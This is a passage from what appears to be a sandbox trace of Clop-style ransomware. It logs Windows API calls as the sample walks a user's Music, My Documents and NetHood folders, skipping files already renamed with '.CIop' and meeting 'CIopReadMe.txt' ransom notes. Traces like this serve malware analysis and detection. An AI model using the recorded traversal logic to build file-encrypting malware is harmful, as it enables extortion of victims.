[0158.958] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2="..") returned 1 [0158.958] lstrcmpW (lpString1="gRZdqIY3h.mp3.CIop", lpString2=".") returned 1 [0158.958] lstrlenW (lpString=".CIop") returned 5 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2="..") returned 1 [0158.958] lstrcmpW (lpString1="GsSWFcQiPn.wav.CIop", lpString2=".") returned 1 [0158.958] lstrlenW (lpString=".CIop") returned 5 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2="..") returned 1 [0158.958] lstrcmpW (lpString1="LG0LJ99M.mp3.CIop", lpString2=".") returned 1 [0158.958] lstrlenW (lpString=".CIop") returned 5 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2="..") returned 1 [0158.958] lstrcmpW (lpString1="p6xCw Vob.mp3.CIop", lpString2=".") returned 1 [0158.958] lstrlenW (lpString=".CIop") returned 5 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2="..") returned 1 [0158.958] lstrcmpW (lpString1="t41qgP8Zl.wav.CIop", lpString2=".") returned 1 [0158.958] lstrlenW (lpString=".CIop") returned 5 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2="..") returned 1 [0158.958] lstrcmpW (lpString1="Tvn8aqPC_U.wav.CIop", lpString2=".") returned 1 [0158.958] lstrlenW (lpString=".CIop") returned 5 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.958] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.958] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.958] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0158.958] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0158.958] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.958] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0158.958] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.959] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.959] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.959] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0158.959] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0158.959] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0158.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0158.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0158.959] SetErrorMode (uMode=0x1) returned 0x1 [0158.959] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0158.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0158.959] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0158.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0158.959] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.959] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.959] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2="..") returned 1 [0158.959] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2=".") returned 1 [0158.959] lstrlenW (lpString=".CIop") returned 5 [0158.959] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.959] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2="..") returned 1 [0158.960] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2=".") returned 1 [0158.960] lstrlenW (lpString=".CIop") returned 5 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.960] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.960] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2="..") returned 1 [0158.960] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2=".") returned 1 [0158.960] lstrlenW (lpString=".CIop") returned 5 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2="..") returned 1 [0158.960] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2=".") returned 1 [0158.960] lstrlenW (lpString=".CIop") returned 5 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2="..") returned 1 [0158.960] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2=".") returned 1 [0158.960] lstrlenW (lpString=".CIop") returned 5 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2="..") returned 1 [0158.960] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2=".") returned 1 [0158.960] lstrlenW (lpString=".CIop") returned 5 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2="..") returned 1 [0158.960] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2=".") returned 1 [0158.960] lstrlenW (lpString=".CIop") returned 5 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.960] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.960] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.960] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0158.960] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0158.960] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.960] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.960] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.960] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.961] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.961] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.961] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.961] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.961] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.961] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.961] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.961] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.961] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.961] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.961] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.961] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0158.961] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0158.961] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0158.961] SetErrorMode (uMode=0x1) returned 0x1 [0158.961] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0158.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0158.961] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0158.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0158.961] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.961] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0158.961] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0158.961] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.961] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.961] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.961] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0158.962] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.962] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0158.962] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0158.962] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0158.962] SetErrorMode (uMode=0x1) returned 0x1 [0158.962] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0158.962] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0158.962] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.962] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.962] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.962] lstrlenW (lpString=".CIop") returned 5 [0158.962] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.962] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.962] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.962] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0158.962] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.962] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.962] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.962] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.962] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.962] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.962] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.962] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.962] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.962] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.962] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0158.962] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0158.962] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0158.962] SetErrorMode (uMode=0x1) returned 0x1 [0158.962] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0158.963] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0158.963] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.963] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0158.963] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0158.963] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.963] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.963] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.963] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0158.963] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.963] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0158.963] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0158.963] lstrcpyW (in: 